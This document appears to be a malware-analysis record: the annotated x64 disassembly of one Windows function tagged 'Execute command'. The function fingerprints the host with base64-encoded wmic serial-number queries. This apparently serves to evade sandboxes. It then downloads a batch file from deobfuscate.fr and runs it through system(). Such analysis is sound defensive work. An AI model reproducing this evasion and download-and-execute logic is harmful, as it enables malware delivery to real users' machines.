Function at 0x1400116cc
Capabilities:
Execute command

Disassembly:
jmp 0x140026e20
push rbp
push rdi
sub rsp, 0xae8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x1f2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140034040]
xor rax, rbp
mov qword [rbp + 0xab8], rax
lea rcx, [0x14003c0f8]
call fcn.1400119f1
lea rdx, str.None
lea rcx, [rbp + 0x10]
call fcn.140011483
nop
lea rdx, str.1111_2222_3333_4444_5555_6666_77
lea rcx, [rbp + 0x38]
call fcn.140011483
nop
lea rdx, str.11111111_2222_3333_4444_555555555555
lea rcx, [rbp + 0x60]
call fcn.140011483
nop
lea rdx, str.8C5B1742_3EFA_950F_717E_C4E68D821EAB
lea rcx, [rbp + 0x88]
call fcn.140011483
nop
lea rax, [rbp + 0x10]
mov qword [rbp + 0xc8], rax
mov rax, qword [rbp + 0xc8]
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xc8]
add rax, 0xa0
mov qword [rbp + 0x108], rax
jmp 0x140026ee5
mov rax, qword [rbp + 0xe8]
add rax, 0x28
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0x108]
cmp qword [rbp + 0xe8], rax
je 0x14002738a
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x128], rax
lea rdx, str.d21pYyBkaXNrZHJpdmUgZ2V0IG1vZGVsLCBzZXJpYWxudW1iZXI
lea rcx, [rbp + 0x468]
call fcn.140011483
nop
lea rdx, [rbp + 0x468]
lea rcx, [rbp + 0x4a8]
call fcn.140011852
mov qword [rbp + 0xa98], rax
mov rax, qword [rbp + 0xa98]
mov qword [rbp + 0xaa0], rax
mov rcx, qword [rbp + 0xaa0]
call fcn.1400110ff
mov rdx, rax
lea rcx, [rbp + 0x4e8]
call fcn.140011938
mov qword [rbp + 0xaa8], rax
mov rax, qword [rbp + 0xaa8]
mov qword [rbp + 0xab0], rax
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0xab0]
call fcn.140011749
mov byte [rbp + 0x444], al
lea rcx, [rbp + 0x4e8]
call fcn.1400111e5
nop
lea rcx, [rbp + 0x4a8]
call fcn.1400111e5
nop
lea rcx, [rbp + 0x468]
call fcn.1400111e5
movzx eax, byte [rbp + 0x444]
test eax, eax
je 0x140026fed
mov dword [rbp + 0x524], 0
lea r9, [fcn.1400111e5]
mov r8d, 4
mov edx, 0x28
lea rcx, [rbp + 0x10]
call fcn.1400112b2
mov eax, dword [rbp + 0x524]
jmp 0x14002746c
lea rdx, str.d21pYyBjcHUgZ2V0IHNlcmlhbG51bWJlcg
lea rcx, [rbp + 0x568]
call fcn.140011483
nop
lea rdx, [rbp + 0x568]
lea rcx, [rbp + 0x5a8]
call fcn.140011852
mov qword [rbp + 0xa98], rax
mov rax, qword [rbp + 0xa98]
mov qword [rbp + 0xaa0], rax
mov rcx, qword [rbp + 0xaa0]
call fcn.1400110ff
mov rdx, rax
lea rcx, [rbp + 0x5e8]
call fcn.140011938
mov qword [rbp + 0xaa8], rax
mov rax, qword [rbp + 0xaa8]
mov qword [rbp + 0xab0], rax
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0xab0]
call fcn.140011749
mov byte [rbp + 0x544], al
lea rcx, [rbp + 0x5e8]
call fcn.1400111e5
nop
lea rcx, [rbp + 0x5a8]
call fcn.1400111e5
nop
lea rcx, [rbp + 0x568]
call fcn.1400111e5
movzx eax, byte [rbp + 0x544]
test eax, eax
je 0x1400270d3
mov dword [rbp + 0x624], 0
lea r9, [fcn.1400111e5]
mov r8d, 4
mov edx, 0x28
lea rcx, [rbp + 0x10]
call fcn.1400112b2
mov eax, dword [rbp + 0x624]
jmp 0x14002746c
lea rdx, str.d21pYyBiaW9zIGdldCBzZXJpYWxudW1iZXI
lea rcx, [rbp + 0x668]
call fcn.140011483
nop
lea rdx, [rbp + 0x668]
lea rcx, [rbp + 0x6a8]
call fcn.140011852
mov qword [rbp + 0xa98], rax
mov rax, qword [rbp + 0xa98]
mov qword [rbp + 0xaa0], rax
mov rcx, qword [rbp + 0xaa0]
call fcn.1400110ff
mov rdx, rax
lea rcx, [rbp + 0x6e8]
call fcn.140011938
mov qword [rbp + 0xaa8], rax
mov rax, qword [rbp + 0xaa8]
mov qword [rbp + 0xab0], rax
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0xab0]
call fcn.140011749
mov byte [rbp + 0x644], al
lea rcx, [rbp + 0x6e8]
call fcn.1400111e5
nop
lea rcx, [rbp + 0x6a8]
call fcn.1400111e5
nop
lea rcx, [rbp + 0x668]
call fcn.1400111e5
movzx eax, byte [rbp + 0x644]
test eax, eax
je 0x1400271b9
mov dword [rbp + 0x724], 0
lea r9, [fcn.1400111e5]
mov r8d, 4
mov edx, 0x28
lea rcx, [rbp + 0x10]
call fcn.1400112b2
mov eax, dword [rbp + 0x724]
jmp 0x14002746c
lea rdx, str.d21pYyBiYXNlYm9hcmQgZ2V0IHNlcmlhbG51bWJlcg
lea rcx, [rbp + 0x768]
call fcn.140011483
nop
lea rdx, [rbp + 0x768]
lea rcx, [rbp + 0x7a8]
call fcn.140011852
mov qword [rbp + 0xa98], rax
mov rax, qword [rbp + 0xa98]
mov qword [rbp + 0xaa0], rax
mov rcx, qword [rbp + 0xaa0]
call fcn.1400110ff
mov rdx, rax
lea rcx, [rbp + 0x7e8]
call fcn.140011938
mov qword [rbp + 0xaa8], rax
mov rax, qword [rbp + 0xaa8]
mov qword [rbp + 0xab0], rax
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0xab0]
call fcn.140011749
mov byte [rbp + 0x744], al
lea rcx, [rbp + 0x7e8]
call fcn.1400111e5
nop
lea rcx, [rbp + 0x7a8]
call fcn.1400111e5
nop
lea rcx, [rbp + 0x768]
call fcn.1400111e5
movzx eax, byte [rbp + 0x744]
test eax, eax
je 0x14002729f
mov dword [rbp + 0x824], 0
lea r9, [fcn.1400111e5]
mov r8d, 4
mov edx, 0x28
lea rcx, [rbp + 0x10]
call fcn.1400112b2
mov eax, dword [rbp + 0x824]
jmp 0x14002746c
lea rdx, str.d21pYyBwYXRoIHdpbjMyX2NvbXB1dGVyc3lzdGVtcHJvZHVjdCBnZXQgdXVpZA
lea rcx, [rbp + 0x868]
call fcn.140011483
nop
lea rdx, [rbp + 0x868]
lea rcx, [rbp + 0x8a8]
call fcn.140011852
mov qword [rbp + 0xa98], rax
mov rax, qword [rbp + 0xa98]
mov qword [rbp + 0xaa0], rax
mov rcx, qword [rbp + 0xaa0]
call fcn.1400110ff
mov rdx, rax
lea rcx, [rbp + 0x8e8]
call fcn.140011938
mov qword [rbp + 0xaa8], rax
mov rax, qword [rbp + 0xaa8]
mov qword [rbp + 0xab0], rax
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0xab0]
call fcn.140011749
mov byte [rbp + 0x844], al
lea rcx, [rbp + 0x8e8]
call fcn.1400111e5
nop
lea rcx, [rbp + 0x8a8]
call fcn.1400111e5
nop
lea rcx, [rbp + 0x868]
call fcn.1400111e5
movzx eax, byte [rbp + 0x844]
test eax, eax
je 0x140027385
mov dword [rbp + 0x924], 0
lea r9, [fcn.1400111e5]
mov r8d, 4
mov edx, 0x28
lea rcx, [rbp + 0x10]
call fcn.1400112b2
mov eax, dword [rbp + 0x924]
jmp 0x14002746c
jmp 0x140026ed3
lea rdx, str.C:_sexws.bat
lea rcx, [rbp + 0x9a8]
call fcn.140011992
mov rcx, rax
call fcn.1400115eb
mov rdx, rax
lea rcx, [rbp + 0x968]
call fcn.140011483
nop
lea rdx, str.https:__deobfuscate.fr_ssex.bat
lea rcx, [rbp + 0xa18]
call fcn.140011802
mov rcx, rax
call fcn.140011a9b
mov rdx, rax
lea rcx, [rbp + 0x9d8]
call fcn.140011483
nop
lea rdx, [rbp + 0x968]
lea rcx, [rbp + 0x9d8]
call fcn.1400118fc
mov byte [rbp + 0x944], al
lea rcx, [rbp + 0x9d8]
call fcn.1400111e5
nop
lea rcx, [rbp + 0x968]
call fcn.1400111e5
movzx eax, byte [rbp + 0x944]
test eax, eax
je 0x140027441
lea rdx, str.start_C:_sexws.bat
lea rcx, [rbp + 0xa58]
call fcn.1400112e9
mov rcx, rax
call fcn.1400110f5
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
mov dword [rbp + 0xa84], 0
lea r9, [fcn.1400111e5]
mov r8d, 4
mov edx, 0x28
lea rcx, [rbp + 0x10]
call fcn.1400112b2
mov eax, dword [rbp + 0xa84]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14002de90]
call fcn.14001182f
mov rax, rdi
mov rcx, qword [rbp + 0xab8]
xor rcx, rbp
call fcn.1400114e7
lea rsp, [rbp + 0xac8]
pop rdi
pop rbp
ret